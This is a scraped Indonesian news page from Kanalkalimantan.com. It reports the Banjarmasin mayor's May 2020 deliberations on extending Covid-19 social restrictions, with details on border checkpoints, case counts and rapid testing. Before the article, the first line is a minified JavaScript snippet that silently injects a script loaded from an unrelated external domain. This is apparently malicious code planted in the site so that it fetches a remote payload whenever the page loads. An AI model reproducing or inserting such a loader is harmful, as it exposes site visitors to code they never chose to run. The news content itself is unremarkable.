(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Akan Berakhir, Walikota Ibnu Pertimbangkan Perpanjangan PSBB Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarmasin tinggal menghitung hari. Namun diakui, dalam penerapannya masih belum maksimal, sehingga Wali Kota Banjarmasin H. Ibnu Sina akan mengevaluasi PSBB yang diterapkan selama dua pekan terakhir.

“Kita akan evaluasi sama-sama, karena idealnya kita berbarengan dengan usulan dari kabupaten dan kota lain yang sudah maju (mengusulkan) ke Kementerian Kesehatan RI,” beber Ibnu di Balaikota Banjarmasin, Rabu (6/5/2020).

Ibnu masih menaruh harapan, jika seandainya perpanjangan PSBB di Kota Banjarmasin disetujui, berbarengan dengan daerah penyangga yaitu Kota Banjarbaru, Kabupaten Banjar dan Kabupaten Barito Kuala yang diketahui juga mengajukan PSBB. Sehingga, upaya memutus mata rantai penularan Covid-19 bisa lebih efektif lagi.

Di samping pemberlakuan jam malam, kemudian juga nantinya akan ada pemberlakuan jam siang hari. Karena diakui Ibnu, penjagaan batas kota memang harus ekstra untuk menghalau dan juga menyeleksi mobil-mobil yang tidak boleh masuk.

“Tetapi di batas kota seperti Km 6, Handil Bakti dan juga Lingkar Selatan itu sangat terbuka, sehingga (perlu) petugas ekstra untuk menjaganya,” jelas Ibnu.

Jika daerah penyangga Kota Banjarmasin itu berbarengan melakukan PSBB, maka penjagaan tidak lagi mutlak dilakukan di posko pengamanan tertentu saja. Tetapi, sudah di masing-masing daerah. “Sehingga kita bisa lebih konsentrasi untuk penanganan di dalam kota,” lugas Ibnu.

Diklaim Ibnu, selama dua pekan pelaksanaan PSBB, grafik kasus Covid-19 di Kota Banjarmasin mengalami perlambatan. Di pekan pertama saja, terjadi penurunan orang dalam pemantauan (ODP) sebanyak 20 orang di dua hari pertama. Kemudian, grafiknya mengalami kenaikan kendati cenderung flat (datar).

“Kemudian melonjak dengan ditemukannya 12 kasus positif Covid-19. Tetapi di minggu terakhir hampir terjadi flat, tidak curam sekali, sangat landai,” bebernya.

Namun demikian, menjelang berakhirnya PSBB jumlah kasus positif Covid-19 di Kota Banjarmasin kembali melonjak, hingga mencapai 69 kasus.

Di samping itu, upaya rapid test juga terus digalakkan selama PSBB. Terutama di tempat-tempat umum seperti Duta Mall, Pasar Sentra Antasari, hingga cluster tertentu, sehingga ditemukan banyak kasus Covid-19.

“Asumsi kedua selama PSBB, proses tracing bisa dilakukan secara masif. Sehingga kita menemukan, karena angka naik itu merupakan hasil tracking, (karena) kalau tidak di tracking kita tidak dapat angka itu,” pungkas Ibnu. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

14 menit ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

36 menit ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

2 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

16 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

16 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

17 jam ago

This website uses cookies.